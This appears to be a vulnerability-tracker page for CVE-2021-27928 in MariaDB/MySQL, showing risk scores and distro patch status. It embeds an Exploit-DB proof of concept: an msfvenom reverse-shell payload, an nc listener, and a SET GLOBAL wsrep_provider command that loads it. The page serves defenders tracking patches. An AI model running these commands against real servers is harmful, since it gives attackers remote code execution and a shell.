CVE-2021-27928

high

Published 2021-04-19 · Modified 2021-04-19

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

9.0

Description

RHSA-2021:1242: mariadb:10.3 and mariadb-devel:10.3 security update (Important)

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49765 local linux text · 1 KB

Central InfoSec · 2021-04-14

MariaDB 10.2 - 'wsrep_provider' OS Command Execution

text exploit Source: Exploit-DB

# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

OS impact

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

Debian Fixed 1 release

Version	Status	Fixed in
bullseye	Fixed	`1:10.5.9-1`

Red Hat Fixed 1 release

Version	Status	Fixed in
8	Fixed	—

Rocky Linux Fixed 1 release

Version	Status	Fixed in
8	Fixed	—

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.